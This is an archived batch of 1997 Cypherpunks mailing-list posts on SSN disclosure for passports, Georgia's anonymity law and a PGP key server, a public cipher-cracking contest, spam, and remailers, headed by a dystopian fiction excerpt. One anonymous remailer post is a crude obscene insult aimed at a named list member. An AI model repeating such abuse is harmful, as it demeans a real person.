~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
We now live in an age where, in between the slumber of the soap operas 
and the bewitchment of 'prime time,' we are fed our opinions and 
world-views in catch-phrases and ten second sound-bytes. 

At the same time, Gomez sees to it that there is enough trouble and 
turmoil in the world that the World Leaders, even in democracies,
can chip away at human and individual rights under the guise of dealing 
with various 'threats' that they, themselves, have concocted as a means
of retaining power over the masses. 

Even as the governments of the world strive to bring everyone and 
everything, however minute, under tight control and regulation, Gomez 
and the Dark Allies are behind the scenes, helping to guide the 
development of a technology that will, along with television, be 
the ultimate weapon in their struggle for the domination of all 
mankind---the Computer.

The rich and powerful have managed to lull us to sleep with the 
hypnotizing power of television---stealing our thoughts and our 
reasoning processes in our slumber, feeding us our reality via the 
airwaves...according to the 'official' party line. 

The government and the media have placed us on neat little shelves 
where we are numbered and labeled according to their own wants and 
needs. We are allowed the illusion of freedom of thought, and 
individual choice, as long as we have our 'Freedom of Thought Permit
1136.51.709' and don't stray too far from the permitted paths. 

In the great battles of the past the Dark Forces have always been 
beaten by the individuals scattered in the secret places, living 
unnoticed in obscurity. Living quietly and unobtrusively, forgotten 
about in the madness storming the land, they have kept alive the 
spark of Thought and Reason. They were able to go quietly about 
their work, making contact with the individuals who were ready to 
escape the madness and work towards restoring Sanity in the land.

This time there will be no escape. Every man, woman and child on the 
face of the earth will have a dossier documenting their life from the
time of their arrival on the face of the planet.
Information gleaned from the Department of Motor Vehicles, their Social
Security Number, banks, credit cards, magazine subscriptions, 
charitable and political contributions. 

When Gomez removes the masks of his human allies, revealing them as 
dark agents who have been rewarded with wealth and power for doing 
the bidding of the Evil One, the names of the misfits and 
wrong-thinkers will be spit out of the computers at the speed of 
light---to be rounded up and disposed of in the opening salvo of 
the new Holocaust. 

   Excerpt from "The Xenix Chainsaw Massacre" (1989)
http://bureau42.base.org/public/xenix/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I first read the above work in 1990 when it was considered by some to
be Orwellian in scope and by others to be paranoid babbling. Since then
I have watched the underlying theme of the work come to fruitation
slowly but inexorably.
Since my first reading of it I began taking steps to secure my files
and communications and in the process I discovered cryptography. In
1990 that made me a paranoid oddball to be viewed with skepticism.
Now there is a name for my disease: Cypherpunk Syndrome.

Not A Hypochondriac
~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 28 May 1997 06:09:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SSN and passport
In-Reply-To: <199705271820.LAA07618@jefferson.hidden.net>
Message-ID: <Pine.LNX.3.95.970527164552.914A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 27 May 1997, Anonymous wrote:

>      I recently applied for a U.S. passport and, as an experiment,
> entered a SSN of 000-00-0000.  The nice lady at the counter informed
> me that it would not be processed unless I provided a valid SSN (which
> gets forwarded to the IRS).  It was my understanding that this
> disclosure was voluntary and that another form was available for
> notifying the IRS that a passport had been applied for.
> 
>      My travel plans didn't allow me the luxury of delaying the
> application process, so I provided the damn number.  Does anyone know
> the real rules for this situation?  Must passports be cleared with the
> tax goons or do they just want to keep tabs on people travelling
> abroad?

I don't know the reason, but the IRS tax code requires that all passport
applicants supply their SSNs to the IRS.  The penalty for failing to
notify is $500.  I recently encountered this situation and just left
the SSN blank.  After explaining to the lady behind the counter that
I was not required to give my SSN to the State Department, she eventually
accepted the application without the SSN.  I sent a letter to the IRS
(address where tax returns are supposed to be sent) explainging the
situation and included my SSN in the letter.  I applied for the passport
two months ago and have not been hassled by the IRS.  A sample letter
is at ftp.cpsr.org/cpsr/privacy/ssn/passport.ps.  There's also more
about this in the SSN FAQ.




Mark
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WGq17xwtoVvSaMOW2CFspbhGNpM18UK7CkCm5ugGUD2lUIMztO9u4NQPgHIHHetX
XTIxKd/SoQUTMzAFybRyUAtg4EKlhGLotMNNU7/xNlkCaTlgXRKTg2BPnrykhhHI
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ji2UDBxPOhNSwkMjO1O1wxgRs6Lvj0+YDPyjoWPifLddUImZ1vmw+w==
=TvQx
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 28 May 1997 10:38:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The lights went out in Georgia
In-Reply-To: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
Message-ID: <3.0.1.32.19970527170546.0073fa80@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:36 PM 5/27/97 -0700, Tim May wrote:
>>Electronic Frontiers Georgia has set up a key repository for PGP type keys.
...
>But as Robert knows more directly than I, Georgia also has the "anonymity
>is a crime" laws on the books (an article excerpt is below...doing a search
>on Georgia and anonynimity will turn up a lot of articles).
...
>So, what will happen if people, entities, remailers, pseudonyms, etc..
>submit keys to this EFF-Georgia repository without providing SS number,
>passport, mother's maiden name, etc.?

It's not really a big problem - the law doesn't forbid the EFF to accept
anonymously submitted communications, it only forbids Subjects of the 
State of Georgia to send them.  

>(Will Georgia seek the BlackNet operator's extradition for not complying
>with Georgia's law when he submits the BlackNet key? Does the Georgia EFF
>plan to enforce the Georgia law?)

If you don't provide enough address information along with your key 
for the Cracker Police to find your True Name and hunt you down, 
that's just a shame, now isn't it...  especially if the EFGA doesn't 
file a complaint about it.  Besides, how can they extradite someone they
can't find - send polite diplomatic notes to all the governments
in the world asking them to find some unknown character for them?
"Please extradite the usual suspects!"



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 28 May 1997 05:36:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The lights went out in Georgia
In-Reply-To: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
Message-ID: <3.0.2.32.19970527171526.0074890c@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:36 PM 5/27/97 -0700, Tim May wrote:
>But as Robert knows more directly than I, Georgia also has the "anonymity
>is a crime" laws on the books 
...
>So, what will happen if people, entities, remailers, pseudonyms, etc..
>submit keys to this EFF-Georgia repository without providing SS number,
>passport, mother's maiden name, etc.?

If Tim read the article he quoted from, he will notice that EFGA has sued the 
state of Georgia over the on-line anonymity law.  We were in court on Feb 12, 
and while we have been waiting longer than expected, we anticipate the federal 
judge to rule in our favor, and against the state.

The original Digital Signature law proposed in Georgia was an invasive 
bureaucratic law very similar the laws passed in Utah and Washington State, 
and similar to the model proposed by the American bar Association.  This law 
attempted to have a state controlled Ministry of Signatures that would have 
databases linking email addresses to credit bureau files.  I led EFGA in 
opposing the state on this issue.  We went to Digital Signature Task Force 
Meetings, testified at Senate hearings, gathered research from other places, 
and did a lot to help educate the local lawmakers and corporate people.

The result of this education process was that the original bill was thrown out 
and replaced with a much better Electronic Records and Digital Signature Act 
to be passed here in Georgia.

The X.509 type provisions are not implemented in the EFGA key repository.  No 
proof of identity is required - the certification is based on the web of trust 
principle.  To further enhance privacy, we have turned off replication of keys 
to other servers and will not be allowing searches on the database, only exact 
user matches.  EFGA has identified privacy problems with the existing MIT 
(Horowitz) PGP key server and we are attempting to help plug the holes.

I think you will find that what happens when people use key repositories and 
crypto in Georgia without disclosing private personal information is that the 
State of Georgia will be endorsing strong crypto.  The Georgia Information 
Technology Policy Council will report on it, and the Electronic Commerce Study 
Committee will report on it.  And the state government will endorse the use of 
512 to 2048 bit encryption without escrrow.

PS.  You are still invited to use PGP5.0 to send your keys to keys.efga.org


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM4tO6UGpGhRXg5NZAQFujQH/bbL+OPSeeXA3xwK1ju+pMOLs7+3vEZjC
U1ysIir7TUiJJvz7nYNPrJA2CbXKk4/QSN9hoz0B1DN8E5Q/OuLfNA==
=KEZf
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 28 May 1997 09:00:21 +0800
To: cypherpunks@toad.com
Subject: SSN and Passports
Message-ID: <199705280035.RAA11886@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Wednesday, May 28, 1997 - 02:10:42 MET

>I don't know the reason, but the IRS tax code requires that all passport
>applicants supply their SSNs to the IRS. 

The reason is obvious - they want to make sure they've
got their hands on your wallet, especially if you might
be the type of person who goes overseas, where there are
more opportunities to move money outside their supervision.

When I last renewed my passport, I had enough time to do it by mail
(with the extra fee for expedited service.)  Since I don't have
legal knowledge that the Secretary of Social Security has issued
me a number (my father gave me an SSN card when I was a kid,
which he had probably had issued to him for my bank account),
I had to strictly obey the law and leave the box blank :-)
Not a problem.

On the other hand, I know someone else who has the wrong name
on her passport, because the State Department has trouble
keeping track of divorced parents' name changes.
She filled out the SSN on her passport applications,
and a few weeks after she got the new passport,
she got a letter from the IRS saying "Dear Ms. Wrong-Name:
We don't have any tax returns with your name on them that match
SSN that you gave the Passport Office.  Please send us copies
of all your last N tax returns!"

Governments.  How quaint.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 28 May 1997 06:30:35 +0800
To: 3umoelle@informatik.uni-hamburg.de
Subject: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970527174952_-1062248409@emout10.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-05-26 19:38:43 EDT, you write:

<< The test file is only 836 bytes long.  Could you please post a file
 consisting of, say, 50.000 space characters encrypted with the same
 key? >>

50,000 with the same key? Sure. A new file will be posted under the same name
as the previously posted one. The same key will be used to encrypt the file
before posting. Contest details will be reposted. By the way, a simple
VSA2048 decryption program will be released soon so that there will not exist
a need to develop one to decrypt the file. Also, the contest expiration date
has been extended to July 1st, 1997. Good luck!

Again, random XOR is *not* the only method used to encrypt data. In fact,
random XOR could be left out. Consider examining VSACMInternal (in
INTUNIT.PAS) and VSACMProcessOperation in LIBUNIT.PAS for additional
information.

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 28 May 1997 06:26:03 +0800
To: 3umoelle@informatik.uni-hamburg.de
Subject: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970527175002_2019806503@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-05-26 19:38:43 EDT, you write:

<< The test file is only 836 bytes long.  Could you please post a file
 consisting of, say, 50.000 space characters encrypted with the same
 key? >>

50,000 with the same key? Sure. A new file will be posted under the same name
as the previously posted one. The same key will be used to encrypt the file
before posting. Contest details will be reposted. By the way, a simple
VSA2048 decryption program will be released soon so that there will not exist
a need to develop one to decrypt the file. Also, the contest expiration date
has been extended to July 1st, 1997. Good luck!

Again, random XOR is *not* the only method used to encrypt data. In fact,
random XOR could be left out. Consider examining VSACMInternal (in
INTUNIT.PAS) and VSACMProcessOperation in LIBUNIT.PAS for additional
information.

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 28 May 1997 06:23:06 +0800
To: cypherpunks@toad.com
Subject: Decryption contest details...
Message-ID: <970527175035_36844712@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Host: DataET Research (http://www.dataet.com)
Contest expiration date: July 1st, 1997
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Encrypted (secured) file size: 50,000 bytes
Decrypted (unsecured) file size: 50,000 bytes
Hints: No message hints available
Key and message post location: cypherpunks@toad.com
Contact: info@dataet.com
Limitations: U.S. residents only
Prize: Two free basic Web site packages

CRACKIT.DAT file statistics:

Type: Binary (Intel)
Characters: 50,000





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 28 May 1997 07:57:52 +0800
To: cypherpunks@algebra.com
Subject: [noise] AGIS says "no more spam"? (fwd)
Message-ID: <Pine.BSF.3.91.970527182318.9425C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



[snipped]

[full text at http://www.agis.net/press26.htm]

AGIS, IEMMC Halt Bulk E-Mail 

Dearborn, MI May 27th, 1997: Worldwide Internet access provider AGIS (Apex
Global Internet Services, Inc.) has challenged all members of the Internet
E-Mail Marketing Council (IEMMC) to stop originating all bulk e-mail
through the AGIS network. Under the terms of this agreement, Cyber
Promotions, Cybertize E-mail, Integrated Media Promotions, ISG, and
Quantum Communications agreed to cease sending unsolicited commercial
e-mail (UCE) through the AGIS network until the IEMMC delivers a working
filtration system and acceptable use policies.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 28 May 1997 08:54:00 +0800
To: "Mark M." <cypherpunks@cyberpass.net
Subject: Re: SSN and passport
In-Reply-To: <199705271820.LAA07618@jefferson.hidden.net>
Message-ID: <3.0.2.32.19970527203331.037f4124@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:02 PM 5/27/97 -0400, Mark M. wrote:

>I don't know the reason, but the IRS tax code requires that all passport
>applicants supply their SSNs to the IRS.  

The Feds would like to keep track of and find expatriate Americans who don't 
file tax returns (some 60% of the total).  Unlike almost all other countries, 
the U.S. taxes all of its citizens even those who have never set foot in 
America.

>The penalty for failing to
>notify is $500.  I recently encountered this situation and just left
>the SSN blank.  After explaining to the lady behind the counter that
>I was not required to give my SSN to the State Department, she eventually
>accepted the application without the SSN.  I sent a letter to the IRS
>(address where tax returns are supposed to be sent) explainging the
>situation and included my SSN in the letter.  I applied for the passport
>two months ago and have not been hassled by the IRS.  A sample letter
>is at ftp.cpsr.org/cpsr/privacy/ssn/passport.ps.  There's also more
>about this in the SSN FAQ.

Here's the US Code Section from 
http://www.law.cornell.edu/uscode/26/6039E.html   

     UNITED STATES CODE 
          TITLE 26 - INTERNAL REVENUE CODE 
               Subtitle F - Procedure and Administration 
                    CHAPTER 61 - INFORMATION AND RETURNS 
                         Subchapter A - Returns and Records 
                              PART III - INFORMATION RETURNS 
                                   Subpart A - Information Concerning Persons 
Subject to Special Provisions 



§ 6039E. Information concerning resident status

     (a) General rule 

     Notwithstanding any other provision of law, any individual who - 
          (1) applies for a United States passport (or a renewal thereof), or 
          (2) applies to be lawfully accorded the privilege of residing 
permanently in the United States as an immigrant in
          accordance with the immigration laws, shall include with any such 
                                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^
application a statement which includes the
^^^^^^^^^^^
          information described in subsection (b). 
     (b) Information to be provided 

     Information required under subsection (a) shall include - 
          (1) the taxpayer's TIN (if any), 
          (2) in the case of a passport applicant, any foreign country in 
which such individual is residing, 
          (3) in the case of an individual seeking permanent residence, 
information with respect to whether such individual
          is required to file a return of the tax imposed by chapter 1 for 
such individual's most recent 3 taxable years, and 
          (4) such other information as the Secretary may prescribe. 
     (c) Penalty 

     Any individual failing to provide a statement required under subsection 
(a) shall be subject to a penalty equal to $500
     for each such failure, unless it is shown that such failure is due to 
reasonable cause and not to willful neglect. 
     (d) Information to be provided to Secretary 

     Notwithstanding any other provision of law, any agency of the United 
States which collects (or is required to collect) the
     statement under subsection (a) shall - 
          (1) provide any such statement to the Secretary, and 
          (2) provide to the Secretary the name (and any other identifying 
information) of any individual refusing to comply
          with the provisions of subsection (a). Nothing in the preceding 
sentence shall be construed to require the
          disclosure of information which is subject to section 245A of the 
Immigration and Nationality Act (as in effect on
          the date of the enactment of this sentence). 
     (e) Exemption 

     The Secretary may by regulations exempt any class of individuals from the 
requirements of this section if he determines
     that applying this section to such individuals is not necessary to carry 
out the purposes of this section. 

***************

It seems to say that the TIN (Taxpayer ID Number) has to accompany the 
application.  In theory, State can't deny a passport based on refusal to 
supply the number but your mileage may vary.  As far as we can determine, no 
one has ever been fined $500 by IRS.  Looks like fodder for the sheeple to me.

I'm reapplying this summer and will not rat on myself.  We'll see how it goes.

In the half dozen refusals to supply number that I am personally familiar 
with, the passport has never been refused.

The report of a foreign address is a real laugh riot since US sheeple are not 
subject to address registration and can claim any address they like (although 
in that case, I guess they're not sheeple).

DCF

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Version: 5.0 beta
Charset: noconv

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LxmYK8OJ33ukK3dL569zFAZtD/adxn06XDTPVqkEU9Z51cDEfwTFX8qJaOY6zzNw
0gWXXvr7FHefuqrfRBDQT00uBD/WQgKHam9uxKVBW3lZ1QV+um3rvs3Iafg42yZ1
Wo+PyUP7I5g=
=9hEF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 13:02:07 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: The lights went out in Georgia
In-Reply-To: <v03102801afb0f4da8b9f@[207.167.93.63]>
Message-ID: <v03102802afb15f7c9920@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:15 PM -0400 5/27/97, Robert A. Costner wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 01:36 PM 5/27/97 -0700, Tim May wrote:
>>But as Robert knows more directly than I, Georgia also has the "anonymity
>>is a crime" laws on the books
>...
>>So, what will happen if people, entities, remailers, pseudonyms, etc..
>>submit keys to this EFF-Georgia repository without providing SS number,
>>passport, mother's maiden name, etc.?
>
>If Tim read the article he quoted from, he will notice that EFGA has sued the
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

I read the whole thing, and several other articles. I even indicated I knew
you knew a lot about this case when I specifically said "But as Robert
knows more directly than I.."

Fucking A, what more do you want?

My point had nothing to do with whether you or EF-GA was involved in a suit
to overturn the law. If the law is still in force, whether EF-GA is
currently suing has nothing to do with my point about enforcement of the
law, and penalties for violation.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 13:03:53 +0800
To: cypherpunks@algebra.com
Subject: Re: The lights went out in Georgia
In-Reply-To: <v03102801afb0f4da8b9f@[207.167.93.63]>
Message-ID: <v03102803afb162163592@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:05 PM -0700 5/27/97, Bill Stewart wrote:

>It's not really a big problem - the law doesn't forbid the EFF to accept
>anonymously submitted communications, it only forbids Subjects of the
>State of Georgia to send them.
>
>>(Will Georgia seek the BlackNet operator's extradition for not complying
>>with Georgia's law when he submits the BlackNet key? Does the Georgia EFF
>>plan to enforce the Georgia law?)
>
>If you don't provide enough address information along with your key
>for the Cracker Police to find your True Name and hunt you down,
>that's just a shame, now isn't it...  especially if the EFGA doesn't
>file a complaint about it.  Besides, how can they extradite someone they
>can't find - send polite diplomatic notes to all the governments
>in the world asking them to find some unknown character for them?
>"Please extradite the usual suspects!"

I see this point of view expressed here often, the "they can't catch you so
don't worry about the law," and "they won't be able to get California to
extradite you."

First, I don't happen to think this particular law, even if not overturned,
is likely to see much enforcement, even in Georgia.

However, the large point remains. And I'm less persuaded than Bill is that
such laws are ipso facto ignorable.

I'd hate to be changing planes at Hartsfield (the big hub airport in
Atlanta) and have their computers flag me as having violated their law at
some time in the past. (Why would they bother? Who knows. Maybe a
shakedown, like a speeding ticket. Maybe orders from elsewhere. The point
is that they don't have to _extradite_ nonresidents to have them feel the
force of the law.)

Oh, and any company doing business in Georgia would be a point where legal
pressure s could be applied. Any large company would have to take this law
into account, and could not just cheerfully cite Bill's casual dismissal.

(Again, I don't think this law has much power, and the sponsors have
probably already forgotten it.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 13:08:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SSN and passport
In-Reply-To: <199705271820.LAA07618@jefferson.hidden.net>
Message-ID: <v03102804afb164efe0ee@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:02 PM -0400 5/27/97, Mark M. wrote:

>I don't know the reason, but the IRS tax code requires that all passport
>applicants supply their SSNs to the IRS.  The penalty for failing to
>notify is $500.  I recently encountered this situation and just left
>the SSN blank.  After explaining to the lady behind the counter that
>I was not required to give my SSN to the State Department, she eventually
>accepted the application without the SSN.  I sent a letter to the IRS
>(address where tax returns are supposed to be sent) explainging the
>situation and included my SSN in the letter.  I applied for the passport
>two months ago and have not been hassled by the IRS.  A sample letter
>is at ftp.cpsr.org/cpsr/privacy/ssn/passport.ps.  There's also more
>about this in the SSN FAQ.

Good for you, seriously, but you may not yet have heard the last of this.
As with "frivolous returns" (such as writing comments on the tax forms
submitted, arguing that taxes are not valid, etc.), it is not so much a
matter of the IRS "hassling" you, as a computer-generated letter arriving
stating that you now owe X amount in additional taxes, an amount which
slowly grows with each passing month of doing nothing about it.

I tried to not give my SS number to the California Department of Motor
Vehicles, citing the line on my SS card which says quite clearly:

"FOR SOCIAL SECURITY AND TAX PURPOSES -- NOT FOR IDENTIFICATION"

(This is an exact quote, read from my 1968-9-issued card, which I still have.)

Just which part of this do the folks in various government agencies not
understand?

The woman behind the desk didn't seem interested in my point and just said
that without a valid SS number, no registration tags would be issued. It
was then my choice to drive without tags (and get a ticket anytime a cop
noticed this and decided to act on it) or seek some kind of legal
restraining order (???, but probably $$$).

But this has given me some ideas, which I'll share with you.

With all the various companies and agencies demanding the SS number, why
not demand SS number, mother's maiden name, date of birth, etc., for *all
kinds* of casual things?

If the agencies and companies are so cavalier about ignoring the clear
stipulation that the SS card/number is *not* a general identification
scheme, then it is very doubtful that asking people to supply all this sort
of information is not violating any law.

(If there's a law I could be charged with violating, I'd cite selective
enforcement, noting that my local Mervyns store wanted my SS number a
couple of days ago, the DMV wants SS numbers and other personal info, etc.)

And since several of these numbers are essentially the keys to many
security systems....

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 28 May 1997 11:24:58 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Unexpected SSZ downtime...
Message-ID: <199705280306.WAA00383@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

As some of you are aware, we are having a hell of a day concerning weather.
Not only are 300+ homes north of Austin simply not there any more thanks to
a monster twister (it even tore some of the slabs out of the ground) but we
have had a very wide power outage. At the current time SSZ and associated
systems are back up and working. We are expecting another heavy wave of
weather later tonite. If the current forcast is still set at midnite SSZ may
go down from midnite CST to around 7AM CST tomorrow.

Take care and some cover (if you can find it).


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 13:07:44 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Unexpected SSZ downtime...
In-Reply-To: <199705280306.WAA00383@einstein.ssz.com>
Message-ID: <199705280325.WAA28088@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Yeah, the weather is rather shitty in the Southwest right now...


igor

Jim Choate wrote:
> 
> Hi,
> 
> As some of you are aware, we are having a hell of a day concerning weather.
> Not only are 300+ homes north of Austin simply not there any more thanks to
> a monster twister (it even tore some of the slabs out of the ground) but we
> have had a very wide power outage. At the current time SSZ and associated
> systems are back up and working. We are expecting another heavy wave of
> weather later tonite. If the current forcast is still set at midnite SSZ may
> go down from midnite CST to around 7AM CST tomorrow.
> 
> Take care and some cover (if you can find it).
> 
> 
>                                                      Jim Choate
>                                                      CyberTects
>                                                      ravage@ssz.com
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 12:32:28 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Nym Servers
In-Reply-To: <199705280120.DAA24921@basement.replay.com>
Message-ID: <199705280328.WAA28113@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Anonymous wrote:
> Re: Nym Servers
> To: Cypherpunks
> 
> Igor and D.V. have been discussing the viability of
> cyberpromo as a host site for remailers; Igor points out
> that many recipients will auto-trash anything from there.
> On the other hand, it's a good entry point for a middleman remailer
> or a nym remailer, as long as you can trash anything from there
> without also trashing your remailer's mail :-)

Yes, a middleman remailer can be placed at cyberpromo, as long as other
remailers accept cyberpromo email.

> In particular, your remailer was going to remove direct references
> to cyberpromo anyway.

Well, if mail comes from (MAIL FROM: command of SMTP) one of the 300
Cyberpromo domains, it has _some_ chances of being trashed because of
the local bans on these domains.

My internet provider Galstar, for example, trashes all mail coming
from Cyberpromo, savetrees and so on.

> However, the prices have changed since I brought up the idea
> a month ago.  At the time, they had auto-responders with POP mail -
> - - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
> Now, however, they offer autoresponders for 3/$99 for three years,
> with no mention of POP mail or forwarding - I don't know if they've
> dropped the service (in favor of web hosting at $25/month),
> or if it's still there and just not advertised.  (Of course,
> there's still the moral dilemma that even $99 is $99 in Spamford's pocket :-)
> 
>                Spambert
> -----BEGIN PGP SIGNATURE-----
> Version: 5.0 beta
> Charset: noconv
> 
> iQBFAwUBM4uEWYuqXu2FMJm1AQGMWAF9FCraS1yFl5EOFPW/ISNCH+Sqc1qnUwCi
> +du2tY+MiRiAz64yHX95HNZ5iz/DZLij
> =c6PD
> -----END PGP SIGNATURE-----
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 28 May 1997 13:58:08 +0800
To: cypherpunks@toad.com
Subject: PRNG
Message-ID: <199705280536.WAA28197@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[unt] Mayonnaise carries a turd in his wallet for identification 
purposes.

      /_/\/\
      \_\  / Tim C[unt] Mayonnaise
      /_/  \
      \_\/\ \
         \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 12:54:54 +0800
To: DataETRsch@aol.com
Subject: Re: CRACKIT.DAT increased to 50,000 bytes.
In-Reply-To: <970527175002_2019806503@emout15.mail.aol.com>
Message-ID: <199705280337.WAA28169@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jeremy,

I must commend you for your helpfulness and cooperation. Not being a
professional cryptographer, I believe that your algorithms are not
very strong, but I will be happy if you and others prove me wrong. 

Actions such as yours inspire trust in the cryptographic software
that you write, if it passes the review.

Thank you.

	- Igor.

DataETRsch@aol.com wrote:
> 
> In a message dated 97-05-26 19:38:43 EDT, you write:
> 
> << The test file is only 836 bytes long.  Could you please post a file
>  consisting of, say, 50.000 space characters encrypted with the same
>  key? >>
> 
> 50,000 with the same key? Sure. A new file will be posted under the same name
> as the previously posted one. The same key will be used to encrypt the file
> before posting. Contest details will be reposted. By the way, a simple
> VSA2048 decryption program will be released soon so that there will not exist
> a need to develop one to decrypt the file. Also, the contest expiration date
> has been extended to July 1st, 1997. Good luck!
> 
> Again, random XOR is *not* the only method used to encrypt data. In fact,
> random XOR could be left out. Consider examining VSACMInternal (in
> INTUNIT.PAS) and VSACMProcessOperation in LIBUNIT.PAS for additional
> information.
> 
> Regards,
> 
> Jeremy Yu-Ramos
> DataET Research
> 



	- Igor.





